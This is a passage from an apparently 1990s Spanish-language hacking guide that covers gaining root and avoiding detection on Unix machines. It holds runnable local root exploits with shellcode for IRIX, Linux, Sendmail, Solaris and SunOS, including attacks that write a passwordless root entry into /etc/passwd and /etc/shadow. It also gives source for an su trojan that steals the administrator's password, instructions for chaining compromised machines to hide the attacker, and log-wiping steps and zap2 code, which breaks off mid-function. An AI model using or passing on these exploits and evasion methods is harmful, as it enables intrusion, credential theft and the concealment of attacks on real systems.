(tmp & 0x00ff0000) == 0 ||

(tmp & 0x0000ff00) == 0 ||

(tmp & 0x000000ff) == 0)

tmp += 4;

for (i = 0; i < NUM_ADDRESSES/sizeof(u_long); i++)

*long_p++ = tmp;

for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)

*long_p++ = IRIX_NOP;

for (i = 0; i < code_length/sizeof(u_long); i++)

*long_p++ = irix_shellcode[i];

tmp = (targ_addr + GP_OFFSET + 32/* + NUM_ADDRESSES/2 */) & ~3;

for (i = 0; i < EXTRA / sizeof(u_long); i++)

*long_p++ = (tmp << 16) | (tmp >> 16);

*long_p = 0;

printf("stack = 0x%x, targ_addr = 0x%x\n", stack, targ_addr);

execle("/usr/bin/X11/xlock", "xlock", "-name", buf, 0, env);

perror("execl failed");

}

 

IRIX 5.3-6.2

 

PROBLEM. systour

AFFECTS. SGI IRIX 5.3 and 6.2 with the systour package available.

REQUIRED. account on server

RISK. root compromise, denial of service, etc.

---

Exploit:

First, we set up an environment for running inst. dryrun is set to true

because we are considerate environmentalists.

$ rbase=$HOME; export rbase

$ mkdir -p $HOME/var/inst

$ echo "dryrun: true" > $HOME/.swmgrrc

These three lines should be very familiar to all exploitors.

$ cp -p /bin/sh /tmp/foobar

$ printf '#\!/bin/sh\nchmod 4777 /tmp/foobar\n' > $HOME/var/inst/.exitops

$ chmod a+x $HOME/var/inst/.exitops

Now run it.

$ /usr/lib/tour/bin/RemoveSystemTour

Executing outstanding exit-commands from previous session ..

Successfully completed exit-commands from previous session.

Reading installation history

Checking dependencies

ERROR : Software Manager: automatic installation failed: New target

(nothing installed) and no distribution.

---

DISCUSSION. The easiest solution is to replace RemoveSystemTour with

a binary that checks the password. However, RemoveSystemTour may not be

the only way to access inst, and so these general recommendations apply:

inst should check UID and lock configuration options when called non-

interactively from versions and with euid 0. inst also has a race

condition on the file /tmp/shPID0, the shell script it creates to make the

appropriate directory (rbase). inst should verify the variables it

uses--by relying on an external shell script, environment variables, IFS,

etc. can be tampered with. Finally, inst will happily overwrite logfiles

specified in the .swmgrrc file and creat() the shell script over anything.

 

 

LINUX (pongo varios ya que hay muchos ...)

 

/*

Just Your Standard EGGSHELL Proggie:

traceroute buffer overflow exploit for RedHat Linux 5.0

mostly ripped from Aleph One <aleph1@underground.org>

Wilton Wong

wwong@blackstar.net

gcc -o trace_shell trace_shell.c

*/

#include <stdlib.h>

#define DEFAULT_OFFSET 0

#define DEFAULT_BUFFER_SIZE 1019

#define DEFAULT_EGG_SIZE 2048

#define NOP 0x90

char shellcode[] =

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

"\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {

__asm__("movl %esp,%eax");

}

void main(int argc, char *argv[]) {

char *buff, *ptr, *egg;

long *addr_ptr, addr;

int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;

int i, eggsize=DEFAULT_EGG_SIZE;

if (argc > 1) bsize = atoi(argv[1]);

if (argc > 2) offset = atoi(argv[2]);

if (argc > 3) eggsize = atoi(argv[3]);

if (!(buff = malloc(bsize))) {

printf("Can't allocate memory.\n");

exit(0);

}

if (!(egg = malloc(eggsize))) {

printf("Can't allocate memory.\n");

exit(0);

}

addr = get_sp() - offset;

printf("Using address: 0x%x\n", addr);

ptr = buff;

addr_ptr = (long *) ptr;

for (i = 0; i < bsize; i+=4)

*(addr_ptr++) = addr;

ptr = egg;

for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)

*(ptr++) = NOP;

for (i = 0; i < strlen(shellcode); i++)

*(ptr++) = shellcode[i];

buff[bsize - 1] = '\0';

egg[eggsize - 1] = '\0';

memcpy(egg,"EGG=",4);

putenv(egg);

memcpy(buff,"RET=",4);

putenv(buff);

printf("Now run: /usr/sbin/traceroute $RET\n");

system("/bin/bash");

}

 

Ahora uno para SLACKWARE:

 

/*

SLACKWARE Traceroute Buffer OverFlow -- (c) shit-head (w0nky@usa.net)

1997

Created: 8/15/97

Give thanks to Solar Designer for his su overflow, this is based

on that peice of work.

This is for educational purposes only, in no way am I responsible

for what you do with this. This should be used by sys admins, or

people who have permission of the admin to run it to see if this

hole can exist on their system. If you use it for the wrong reasons

then I say *tisk* on you. I will not be held responsible for your

actions.

 

This could be done with a generic overflow program, but just

running this is easier.

 

USAGE OF THIS DOES NOT GIVE YOU TECH SUPPORT SO DON'T

MESSAGE ANYBODY ON IRC ABOUT THIS.

*/

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

char *shellcode =

"\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80\x68\x59\x58\xff\xe1"

"\xff\xd4\x31\xc0\x99\x89\xcf\xb0\x2e\x40\xae\x75\xfd\x89\x39\x89\x51\x04"

"\x89\xfb\x40\xae\x75\xfd\x88\x57\xff\xb0\x0b\xcd\x80\x31\xc0\x40\x31\xdb"

"\xcd\x80/"

"/bin/sh"

"0";

char *get_sp() {

asm("movl %esp,%eax");

}

#define bufsize 2048

char buffer[bufsize];

main() {

int i;

for (i = 0; i < bufsize - 4; i += 4)

*(char **)&buffer[i] = get_sp() - 3072;

memset(buffer, 0x90, 512);

memcpy(&buffer[512], shellcode, strlen(shellcode));

buffer[bufsize - 1] = 0;

system("clear");

 

printf("__________________________________________________________

____________________\n");

printf("| Traceroute Overflow -- (c) shit-head 1997\n");

printf("| Give props to Solar Designer for his su overflow, this is based on

that.\n");

printf("|\n");

printf("| Peep's to: suid, knowy, thugzsta, you all be 2 cool.\n");

printf("|\n");

printf("| *NOTE* I'm not responsible if you abuse this. Run only w/

premission\n");

printf("| Sending Overflow.... Done.\n");

printf("------------------------------------------------------------------------------\n");

setenv("NLSPATH", buffer, 1);

execl("/usr/bin/traceroute", "/usr/bin/traceroute", NULL);

}

 

SENDMAIL

 

Aunque obviamente el sendmail no es un sistema operativo pongo algunos

xploits para el, ya que es el clasico de los holes en maquinas unix.

 

Sendmail 8.7-8.8.2

 

#/bin/sh

#

#

# Hi !

# This is exploit for sendmail smtpd bug

# (ver. 8.7-8.8.2 for FreeBSD, Linux and may be other platforms).

# This shell script does a root shell in /tmp directory.

# If you have any problems with it, drop me a letter.

# Have fun !

#

#

# ----------------------

# ---------------------------------------------

# ----------------- Dedicated to my beautiful lady ------------------

# ---------------------------------------------

# ----------------------

#

# Leshka Zakharoff, 1996. E-mail: leshka@leshka.chuvashia.su

#

#

#

echo 'main() '>>leshka.c

echo '{ '>>leshka.c

echo ' execl("/usr/sbin/sendmail","/tmp/smtpd",0); '>>leshka.c

echo '} '>>leshka.c

#

#

echo 'main() '>>smtpd.c

echo '{ '>>smtpd.c

echo ' setuid(0); setgid(0); '>>smtpd.c

echo ' system("cp /bin/sh /tmp;chmod a=rsx /tmp/sh"); '>>smtpd.c

echo '} '>>smtpd.c

#

#

cc -o leshka leshka.c;cc -o /tmp/smtpd smtpd.c

./leshka

kill -HUP `ps -ax|grep /tmp/smtpd|grep -v grep|tr -d ' '|tr -cs "[:digit:]"

"\n"|head -n 1`

rm leshka.c leshka smtpd.c /tmp/smtpd

/tmp/sh

 

Descripcion y Notas:

Este bug se basa en el hecho de que sendmail es un programa suid root y

como tal puede ser invocado como demonio por cualquier usuario y tras ello

cargar una pieza de codigo de cualquier parte por lo tanto el usuario puede

mandar "se¤ales" a sendmail y controlarlo con los beneficios que ello conlleva,

basicamente el bug trastoca el HUP handler para permitir esto.

 

Otro para el sendmail 8.8.4:

 

Try this:

Make hard link of /etc/passwd to /var/tmp/dead.letter

Telnet to port 25, send mail from some bad email address to some

unreacheable hoost.

Watch your message get appended to passwd.

ie:

cowzilla::0:0:c0wz1ll4 0wns u:/:/bin/sh

This is not good. Worked with my 8.8.4, will probably also work with 8.8.5

Root for the whole family

============================================================

======

okay, just want to point out some things about this exploit...

this won't work on big boxes that are partitioned cause you can only do a

hard link on the same file system. another point is that any box that has

a 'MAILER-DAEMON' defined will get any mail that gets sent there instead of it

saving it to /var/tmp/dead.letter, ie, make an /etc/aliases file that defines

a MAILER-DAEMON. for instance, i add these two to my /etc/aliases:

MAILER-DAEMON:gonzo

postmaster:gonzo

then you just type 'newaliases' and you're good to go. (postmaster is a

general good idea) course then you have to deal with ppl's messed up mail...

 

============================================================

=======

Here's a nice little sendmail exploit that works with 8.8.4 and maybe with

8.8.5.

You need to have an account on the system you're exploiting.

telnet to your shell and issue following commands:

ln /etc/passwd /var/tmp/dead.letter

telnet target.host 25

mail from: non@existent.host

rcpt to: non@existent.host

data

kRad::0:0:J0oR dEaD:/root:/bin/bash

.

quit

The body of the message will be written into /etc/passwd and you've got a

password-free root account.

Note that this will NOT work under any of the following circumstances:

1. /var and / are different partitions.

You can't make a hardlink between different partitions.

2. There is a postmaster account or mail alias.

Mail problems are sent to postmaster before they go to

/var/tmp/dead.letter.

3. /var/tmp doesn't exist or isn't publicly writable.

Duh.

4. Other situations?

 

 

SOLARIS

 

I have found a security hole in sdtcm_convert on Solaris 2.5.1. sdtcm_convert -

calendar data conversion utility - allows any user to change the owner for any

file (or directory) from the system or gain root access. The exploit is very simple.

Change the permision mode of your calendar file (callog.YOU) from

/var/spool/calendar directory (usual r--rw----) and run sdtcm_convert.

sdtcm_convert 'll observe the change and 'll want to correct it (it 'll ask you

first). You have only to delete the callog file and make a symbolic link to a target

file and your calendar file and said to sdtcm_convert 'y' (yes). sdtcm_convert 'll

make you the owner of target file ...

A simple way to correct this is to get out suid_exec bit from sdtcm_convert.

 

 

-----------------------------------------------------------------------------

 

CDE is generally a can of worms.

22:15 [wumpus:~] % whoami

adam

22:15 [wumpus:~] % ls -l /etc/shadow

-r-------- 1 root sys 291 Jul 11 22:14 /etc/shadow

22:15 [wumpus:~] % ln -s /etc/shadow /tmp/calorig.adam

22:15 [wumpus:~] % /usr/dt/bin/sdtcm_convert -d /tmp -v 3 adam

Loading the calendar ...

WARNING!! Data will be lost when converting version 4 data format

back to version 3 data format.

Do you want to continue? (Y/N) [Y] y

Doing conversion ...

Writing out new file ...

Conversion done successfully.

Total number of appointments = 0

Number of one-time appointments converted = 0

Number of repeating appointments converted = 0

Number of one-time appointments pruned = 0

Number of repeating appointments pruned = 0

The original file is saved in /tmp/calorig.adam

22:15 [wumpus:~] % ls -l /etc/shadow

-r--rw---- 1 adam daemon 3114 Jul 11 22:15 /etc/shadow

22:15 [wumpus:~] % chmod 644 /etc/shadow

22:15 [wumpus:~] % cp /dev/null /etc/shadow

cp: overwrite /etc/shadow (y/n)? y

22:15 [wumpus:~] % ls -l /etc/shadow

-rw-r--r-- 1 adam daemon 0 Jul 11 22:15 /etc/shadow

22:15 [wumpus:~] % echo "root::6445::::::" >> /etc/shadow

22:16 [wumpus:~] % su

# id

uid=0(root) gid=1(other)

# exit

 

OTRO PARA SOLARIS

 

Author: mudge@l0pht.com

Overview:

A buffer overflow condition exists in the getopt(3) routine. By supplying

an invalid option and replacing argv[0] of a SUID program that uses the

getopt(3) function with the appropriate address and machine code instructions,

it is possible to overwrite the saved stack frame and upon return(s) force

the processor to execute user supplied instructions with elevated permissions.

 

Description:

While evaluating programs in the Solaris Operating System environment

it became apparent that changing many programs trust argv[0] to never

exceed a certain length. In addition it seemed as though getopt was

simply copying argv[0] into a fixed size character array.

./test >>& ccc

Illegal instruction (core dumped)

Knowing that the code in ./test was overflow free it seemed that the problem

must exist in one of the functions dynamically linked in at runtime through

ld.so. A quick gander through the namelist showed a very limited range of

choices for the problem to exist in.

 

00020890 B _end

0002088c B _environ

00010782 R _etext

U _exit

00010760 ? _fini

0001074c ? _init

00010778 R _lib_version

000105ac T _start

U atexit

0002088c W environ

U exit

0001067c t fini_dummy

0002087c d force_to_data

0002087c d force_to_data

000106e4 t gcc2_compiled.

00010620 t gcc2_compiled.

U getopt

00010740 t init_dummy

00010688 T main

Next we checked out getopt() - as it looked like the most likely

suspect.

#include <stdio.h>

 

main(int argc, char **argv)

{

int opt;

 

while ((opt = getopt(argc, argv, "a")) != EOF) {

switch (opt) {

}

}

}

>gcc -o test test.c

>./test -z

./test: illegal option -- z

Note the name it threw back at the beggining of the error message. It was

quite obvious that they are just yanking argv[0]. Changing argv[0] in

the test program confirms this.

for (i=0; i< 4096; i++)

buffer[i] = 0x41;

 

argv[0] = buffer;

 

With the above in place we see the following result:

>./test -z

[lot's of A's removed]AAAAAAAAA: illegal option -- z

Bus error (core dumped)

By yanking out the object file from the static archive libc that is supplied

with Solaris our culprit was spotted [note - we assumed that libc.a was

built from the same code base that libc.so was].

> nm getopt.o

U _dgettext

00000000 T _getopt

00000000 D _sp

U _write

00000000 W getopt

U optarg

U opterr

U optind

U optopt

U sprintf

U strchr

U strcmp

U strlen

Here we see one of the infamous non-bounds-checking routines: sprintf();

More than likely the code inside getopt.c looks something like the following:

getopt.c:

char opterr[SOMESIZE];

...

sprintf(opterr, argv[0]...);

Thus, whenever you pass in a non-existant option to a program that uses getopt

you run into the potential problem with trusting that argv[0] is smaller

than the space that has been allocated for opterr[].

This is interesting on the Sparc architecture as getopt() is usually called

out of main() and you need two returns [note - there are certain situations

in code on Sparc architectures that allow you to switch execution to your

own code without needing two returns. Take a look at the TBR for some

enjoyable hacking] due to the sliding register windows. Some quick analysis

of SUID programs on a standard Solaris 2.5 box show that most of these

programs exit() or more likely call some form of usage()-exit() in the

default case for getopt and thus are not exploitable. However, at least

two of these programs provide the necessary returns to throw your

address into the PC :

passwd(1)

login(1)

On Solaris X86 you do not need these double returns and thus a whole world of

SUID programs allow unpriveledged users to gain root access:

(list of programs vulnerable too big to put here. sigh.)

Exploit:

 

$./exploit "/bin/passwd" 4375 2> foo

# id

uid=0(root) gid=1(other)

 

 

 

 

SUNOS

 

**************************************************************************

HACK: Exploit the patched "loadmodule" with a path attack [8lgm]

System: Sun OS 4.1.x (?others)

Source: 8lgm

Date: Jan 2, 1995

**************************************************************************

 

 

VERSIONES VULNERABLES:

 

SunOS 4.1.* & Openwindows 3 con el ultimo parche para loadmodule.

 

DESCRIPCION:

 

loadmodule usa system(3) para encontrar la arquitectura de la maquina.

 

IMPACTO:

 

Usuarios locales pueden obtener acceso como r00t.

 

REPETIDO POR:

 

Insertar el directorio local al comienzo de tu path

$ set path=(. $path)

Copiar un shell y darle los atributos 711

$ echo "/bin/sh" > ld

$ chmod 711 ld

Ejecutar loadmodule con una llamada limpia y obtener un shell

de r00t

$ /usr/openwin/loadmodule sd.o evqload

# whoami

root

 

Bueno, creo que ya han sido suficientes, a ver si para proximas ediciones del

texto me lo curro un poco mas y los busco mas elegidos pero ahora viene el

follon de examenes :o( y los he pillado un poco al azar. A ver si tengo tiempo y

en la proxima edicion pongo los que dan mas resultado e intento explicar un

poco las pegas que tienen.. perdon por mi incompetencia jeje

En realidad, por lo menos lo que hago yo en empaquetarlos en un tgz ya que

los tengo ordenados por sistemas operativos y por versiones, subirlos a la

maquina victima con ftp y rular los ke puedan servir para esa makina en

concreto. Para algunos sistemas operativos, tengo hechos scripts en shell que

te los rulan automaticamente.. akonsejo ke lo hagais, no es dificil y te evitas

tiempo :)

 

 

7.3.- TROYANOS

 

Bueno, un troyano es un programa que modifica su funcion habitual para

conseguir algun objetivo que nos interese. En principio, una de las utilidades

mas importantes de los troyanos es dejar backdoors con los tipicos troyanos

del login, telnetd, fingerd y demas... espero que en posteriores ediciones del

texto tenga tiempo para explicarlos estos un poco. Pero como en esta seccion

lo que nos interesan son modos de pillar root, voy a contar un poco como usar

el troyano de su para conseguir ese objetivo.

Para aquellos que vais un poco verdes en unix, explico lo que es el su. En

principio hay muchos administradores que entran con una cuenta de usuario

normal y cuando necesitan hacer algo que requiere que sean root, ejecutan el

comando su que permite cambiar el usuario a root. Esto se hace ya que no es

conveniente ser root en la maquina por posibles metidas de pata (sobretodo a

altas horas de la ma¤ana jeje) y si por ejemplo haces un rm sobre un fichero

importante y no eres root, no pasa nada en general ya que no tendras permisos

para hacerlo.

Para usar este sistema, hay que buscar quien usa su. Esto se puede hacer

viendo en el /var/adm/messages ( si tienes permisos para leerlo), el sulog u

otros archivos de log dependiendo del sistema en el que estes, o bien entrar en

los directorios HOME ( si tienes permisos) y ver los history (que son distintos

dependiendo del shell que se usa.. estan explicados en el apartado de borrar

huellas) ya que en esos archivos se ven todos los comandos ejecutados por el

usuario.

Es decir, con esta tecnica tambien tenemos que sacar un passwd de

administrador, pero hay que tener en cuenta que si por ejemplo es una

maquina con dos users con id=0 y que ademas cada uno de ellos entra con

una cuenta normal para hacer luego su, hay 4 cuentas de "root" por lo que

pasando unos cuantos diccionarios es facil que caiga alguna de las cuatro.

En fin, siguiendo con el rollo y suponiendo que tenemos la cuenta de ese user

que luego hace su root, se ha de cambiar la variable path a un directorio donde

pongamos el su troyano, es decir, pillamos el codigo del su, lo compilamos y lo

metemos en un directorio cualquiera buscando que no cante mucho. Ese

directorio lo ponemos en el path de manera que este antes que el directorio por

defecto donde esta el su verdadero. Por ejemplo, si el path es:

PATH=/bin/:/sbin/.........

Tendria que ponerse si el directorio donde esta el troyano de su, se llama

/.troyano:

PATH=/.troyano:/bin:/sbin......

Asi, si el administrador que no ha entrado con la cuenta de root hace su,

entrara el troyano que lo que hace pedirle el passwd y le dice que es un

passwd incorrecto con lo que el pensara que se ha equivocado introduciendo el

dato y te guarda el passwd en un fichero determinado. Tras esto, el su troyano

se borra automaticamente por lo que pierde el rastro.

Esto puede tener algunas pegas como son que esa variable nueva a¤adida al

path canta un poco, que el tio se mosquee cuando el su le de error, y alguno

mas que pueden ir surgiendo sobre la marcha, o sea, que probadlo que da

buenos resultados aunque teneis que tener cuidado con estas pegas.

 

Bueno, ahi va el codigo:

 

/* su trojan ribbed - by FA-Q

* werd to lwn for his help.

* mkdir .elm

* cc -o ~/.elm/su su.c

* edit .bash_profile or .bashrc

* add PATH=$HOME/.elm:$PATH

*/

#include <stdio.h>

#include <stdlib.h>

#define SU_PASS "/tmp/.rewt"

main (int argc, char *argv[])

{

char *key;

char buf[24];

FILE *fd;

key = (char *)getpass ("Password:");

fd = fopen(SU_PASS,"w");

fprintf(fd, "pass: %s\n", key);

fclose(fd);

printf ("su: incorrect password\n");

sprintf(buf, "rm %s", argv[0]);

system(buf);

exit (1);

}

 

Bueno, creo que con estos tres metodos sera suficiente para pillar root en

muchas makinas... una de las cosas mas importantes es buscar exploits, asi ke

buscando un poko en la red, tendreis muchiiiisimos :)

 

8- HACKEAR CON CONDON ( o gateway)

 

Tras explicar los metodos para entrar en maquinas y pillar root, en este y el

proximo apartado se va a explicar un poco que hacer para ke no te pillen.

En general, cuando tu hackeas una maquina sin ningun tipo de proteccion,

simplemente haces telnet victima.com o ftp o el servicio que quieras. Esto esta

muy bien porque claramente la distancia mas corta entre dos puntos es la linea

recta, pero el problema es que en algunos logs de la maquina victima aparece

nuestro ip y por tanto nos tienen perfectamente identificados con solo hacer un

last.

Hay que puntualizar que otra manera de hacer las cosas es no usar condon

pero tener mucha experiencia en el borrado de huellas pero eso no es

aconsejable si no estas muy seguro de tus habilidades.

Un tema a discutir, seria cuando hay que usar protecciones o no. Un consejo

personal es hacerlo dependiendo del tipo de maquina y del tipo de cosas que

se van a hacer en ella. No es lo mismo entrar en una maquina de una

universidad que sabemos que el root no esta muy experimentado que entrar en

una maquina con medidas serias de seguridad. Tampoco es lo mismo entrar

para ver que la cuenta que has pillado funciona, hacer un ls y poco mas, que

entrar, ejecutar xploits, poner un sniffer, etc. Obviamente, en el segundo caso

hay que tomar algun tipo de proteccion si no quieres acabar en la carcel.

Ademas, mi opinion es que este sistema es un metodo de seguridad adicional

ademas obviamente de borrar huellas y usar este sistema simplemente por si

has fallado en algo pero no solo usar esto. Ademas, si tienes una cuenta y la

usas con condon y no borras huellas, no te pillaran, pero seguramente veran

los logs y te cancelaran la cuenta o cambiaran cosas del sistema dependiendo

lo que hayas hecho. Te quitaran el sniffer, te quitaran si tienes sushi, si tienes

alguna backdoor, etc.

La manera de trabajar usando condon, consiste en usar maquinas intermedias

para saltar de una en otra hasta llegar a la maquina objetivo. El esquema seria:

Mimaquina-->Condon1-->Condon2-->Victima.com

Ponemos el ejemplo de dos maquinas intermedias que sera suficiente para la

mayoria de casos, pero lo que es cierto es que como las maquinas condon

sean un poco lentas.. nos podemos morir de asco y de aburrimiento :o(

En el ejemplo anterior, si en victima.com nos pillan, aparecemos con el ip de la

maquina condon2 por lo que no sera la nuestra. Si quisieran pillarnos tendria

que ir el root de la victima.com a hablar con el root de condon2 para

convencerle de que le de tu ip ya que la maquina condon2 tendra tu conexion

en su log (siempre que no hayas borrado huellas en la maquina condon2, cosa

que seria conveniente). Raramente un root de victima.com hablara con

condon2 diciendole que les ha entrado un hacker y pidiendoles ayuda y sobre

todo si una es de Japon y la otra de Noruega (jeje) pero en casos extremos

todo esto se podria hacer legalmente por parte de la policia, pero tienes que

hacer algo muy gordo para eso. Ademas, como se ha usado otra maquina

condon1 se multiplican nuevamente todos los problemas para localizarte por lo

que sera improbable si has borrado las huellas medianamente bien. El

problema de esto es que si saltas a una makina de japon y luego a otra de

noruega y luego a otra de espa¤a, puedes tardar 10 minutos en que llegue a la

destino si las intermedias van lentas :(

Por ejemplo, si queremos hacer un telnet usando dos condones, el

procedimiento seria:

% telnet condon1.com

Te cuenta un rollo y te pide login y pass (que deben ser conocidos)

UNIX v.4.5

Login: aaaaaa

Password: xxxxxx

Te da acceso a esa maquina y haces otro telnet:

% telnet condon2.com

Te cuenta otro rollo y te pide login y pass

IRIS v.3.5 Please Login

Login: pepito

Password: xxxx

% telnet victima.com <---------Sistema con seguridad seria

Te cuenta otro rollo y lo mismo:

Login: porfinllego

Password: xxxxxxxx

Bienvenido!

Y asi ya estamos en la maquina victima con 2 condones. Supongo que

entendeis el tema. Este procedimiento se puede usar con cualquier servicio:

telnet, ftp, etc.

Es indispensable que las maquinas condon sean bastantes conocidas por el

hacker, es decir, que sepas que el root no controla demasiado o que por algun

motivo sabes que esta bajo tu control absoluto ( aunque recuerdo que no

siempre todo es como parece ser :o( porque quiza te pases de listo pensando

que el root no tiene ni puta idea y resulta que te esta tomando el pelo), ya que

como haya algun contratiempo puedes acabar en la carcel :o( o tambien seria

una putada que el root de esa makina sea un tio competente (u otro hacker) y

te este vigilando en todo lo que hagas y te este logeando todo lo que haces con

los correspondientes inconvenientes.

Sobre esto, he de decir que se debe tener en cuenta que hay administradores

que controlan todos los aspectos del hacking y te pueden estar haciendo

exactamente lo que piensas que le estas haciendo a el, es decir, el puede tener

puestos troyanos para ocultar su presencia o para ocultar procesos suyos que

te pueden estar logeando, pillais la idea no?.. de hecho muchos hackers que

conozco que son roots de maquinas usan este tipo de cosas... asi que tened

cuidado ahi fuera ;o)

 

9.- BORRAR HUELLAS

 

En el apartado 8 se ha explicado como proteger que te localicen pero siempre

ha de estar combinado el uso de condon con el borrado de huellas.

El borrado de huellas es una de las tareas mas importantes cuando se entra en

una maquina ya que si detectan que has entrado se mosquearan y buscaran

como conseguir eliminarte y aunque el root no se entere mucho, siempre puede

pedirle a alguien ayuda y que te descubran los troyanos, rootkits y demas

ingenios maleficos..:( .. por esto, lo mejor es que no detecten que has entrado y

esto se consigue borrando las huellas tal y como se explica a continuacion.

El problema del borrado de huellas es que para borrar poder borrar todas las

huellas has de ser root (excepto algunos sunos que se podia modificar un

fichero de log aunke no todos) y ademas en algunos sistemas con sistemas

adicionales de logs o de seguridad borrar todas las huellas se puede convertir

en una tarea compleja.

Un consejo particular es que el hackeo de la maquina, a ser posible, es mejor

hacerlo todo de una. Es decir, que si por ejemplo consigues el fichero de

passwd con un bug remoto ( por ejemplo el phf), eso deja logs en el httpd por lo

que lo mas interesante es pillar el fichero de passwd y desencriptarlo con el

john ( o si pillas una shell remota no necesitas desencriptar), entrar e intentar

hacerte root para poder borrar las huellas... todo de un tiron.

Os podeis preguntar que si no es mas comodo hacerlo en varios dias.. la

respuesta es que es mas comodo hacerlo en varios dias, pero tened en cuenta

que si por ejemplo pillais el fichero de passwd con el phf un lunes noche, y

hasta el jueves no os poneis de nuevo con la maquina, el root puede haber

visto los logs del httpd en martes y darse cuenta de que tiene un hacker

rondando... una putada no?... sin embargo, si el mismo lunes, entrais usando el

phf, rulais xploits y os haceis root y usais las tecnicas explicadas en esta

seccion para borrar huellas, sereis roots y ademas no tendra manera de

detectarlo... esta bien no??

Por cierto, aunque no venga mucho al caso, aconsejo que al entrar en una

maquina, antes de hacer cosas, hagais un who.. aunque tened en cuenta que

hay que saber interpretar los resultados del who ya que a veces pueden estar

semi-adulterados.

Otra cosa es que hay que ser un poco cuidadoso con lo que se hace. Hay

mucha gente que sube los xploits a las maquinas y los zappers y luego no se

preocupan ni de borrarlos ni de nada.. opino que tampoco cuesta mucho meter

todos los xploit en un directorio .xploit y antes de irte hacer un rm -r .xploit... es

ke da un poko de pena ir por una makina y encontrartela llena de xploits y de

ficheros de passwd por los homes de los usuarios :(

En fin, vamos al grano... los sistemas operativos llevan por defecto bastantes

logs ( log es un archivo que guarda informacion) : en los textos que he mirado

por ahi la mayoria hablan del wtmp, utmp y lastlog y algunos hablan sobre el

acct, pero en realidad hay que tener cuidado con algunos logs mas como

pueda ser el que registra las entradas por ftp, todos los que genera el syslogd,

los del httpd, etc.

Ademas para joder mas, existen programas especificos para ejercer tareas

adicionales como puedan ser el tripwire (comprobador de binarios), tcp-

wrappers, log daemons adicionales, etc pero en fin... todo esto lo dejaremos

para otro texto que vienen los examenes pronto y tengo poco tiempo jeje

Bien, seas o no seas root, has de tener cuidado con el history. El history es un

archivo que guarda todos los comandos que ejecutas y que por ejemplo en la

bash se llama .bash_history.

Para evitar que se haga el history tienes varias alternativas:

unset history

o

poner un set y hacer algo del tipo HISTFILE=/dev/null

o

ln -s /dev/null /.bash_history (suponiendo que estamos en bash shell)

El sistema que yo uso es ejecutar una csh ke no deja archivo history kon lo ke

te olvidas de este problema :)

Otra historia para tener en cuenta es que si entras en la tipica maquina que te

dice quien fue el ultimo usuario que entro a esa cuenta, podria ser sospechoso

si entras a una maquina alemana y ve que

Lastlogin by pepito.es 23-01-1997

Opino que seria mosqueante no?... asi que si no conseguimos ser root y

podemos borrarlo con el cloak o similar, lo que tenemos que hacer es un telnet

maquinavictima.de y asi cuando entre la siguiente persona vera:

Lastlogin by maquinavictima.de 23-01-1997

Que aunque no es perfecto, es mejor que en el caso anterior no?

Ademas de esto, se ha de tener en cuenta que muchas veces lo que hagamos

en la maquina creara ficheros en el /tmp por lo que habra que darse una vuelta

por alli antes de salir de la maquina y borrar si hemos generado algo...

identificaremos rapidamente lo ke hemos generado nosotros por el propietario

de los ficheros.

En fin, todo lo explicado hasta ahora es suponiendo que no hemos conseguido

root, pero si pillamos el root, casi siempre podremos borrar todas las huellas

aunque tambien hemos de tener mas cuidado ya que si no las borramos bien y

el verdadero root entra a la maquina y ve que alguien hizo modificaciones como

root un dia que el no estuvo (y que estuvimos nosotros), se mosqueara

bastante y le dara que pensar.... y posiblemente te pille o cambie las cuentas

del sistema o haga cualquier cosa.

La idea es que si entramos como login pepito, el root no puede saber si pepito

es realmente pepito o no y no tiene manera de comprobarlo pero sin embargo

el root si que sabe aproximadamente que dias se conecto por lo que si al hacer

un last ve que se conecto por ejemplo el jueves 24 de enero y resulta que ese

dia estaba con la novia...... pensando llegaria a la conclusion de que alguien

entro a la maquina como root...... asi la conclusion es que cuando nos hagamos

root hay que tener cuidado en borrar las huellas ( este tipo de cosas puede

parecer obvio pero siempre es bueno recordarlas no?). Tambien hay que tener

en cuenta que si entras como user normal y ejecutas un xploit, en la mayoria de

los casos tu uid no sera el de root pero tendras privilegios de root por lo que el

root haciendo un last no detectara que ha entrado alguien kon privilegios de

root.. aunke se puede dar kuenta por otros detalles.

 

En fin, los logs mas importantes son:

 

UTMP - Indica quien esta conectado en cada momento.

WTMP - Indica todas las entradas y salidas de la maquina victima indicando el

tty y el host.

LASTLOG - Guarda un log indicando el momento exacto en el que se conecto

el usuario por ultima vez.

ACCT - Guarda todos los comandos ejecutados por los usuarios (aunque sin

argumentos) y como os podreis imaginar eso se hace un log enorme en un rato

por lo que no suele estar activo, pero siempre hay que tener en cuenta que

puede estar activo y que es una putada porque logea todo lo que haces. En

general, la mayoria de los zappers tienen opciones para borrar el acct asi ke no

hay problemas. De todos modos, zhart (thc) hizo un programa ke sirve para

borrar las huellas del acct ke esta bastante bien y ke lo puedes enkontrar en la

red :)

 

Y estan ubicadas en los siguientes directorios:

 

UTMP : /etc o /var/adm o /usr/adm o /usr/var/adm o /var/log

WTMP : /etc o /var/adm o /usr/adm o /usr/var/adm o /var/log

LASTLOG : /usr/var/adm o /usr/adm o /var/adm o /var/log

ACCT : /var/adm/acct ( en algunos sistemas se puede llamar pacct )

 

Para borrar estas huellas, se puede usar el zap2 que lo adjunto ya que es muy

usado aunque si lo usas has de saber que puede ser detectado facilmente con

distintos programas ya que no borra tus huellas sino que las sustituye por ceros

y ademas no borra el acct por lo que es mejor que uses el cloak que pondre a

continuacion.

En ambos codigos, tendras que poner la ubicacion exacta del utmp, wtmp,

lastlog y en su caso acct que podras encontrar en uno de los directorios que he

comentado anteriormente o simplemente los buscas con find / -name nombre.

 

Bien, aqui va el zap2 cuyo uso es zap2 nombredeusuario :

 

#include <sys/types.h>

#include <stdio.h>

#include <unistd.h>

#include <sys/file.h>

#include <fcntl.h>

#include <utmp.h>

#include <pwd.h>

#include <lastlog.h>

#define WTMP_NAME "/usr/adm/wtmp"

#define UTMP_NAME "/etc/utmp"

#define LASTLOG_NAME "/usr/adm/lastlog"

 

int f;

 

void kill_utmp(who)

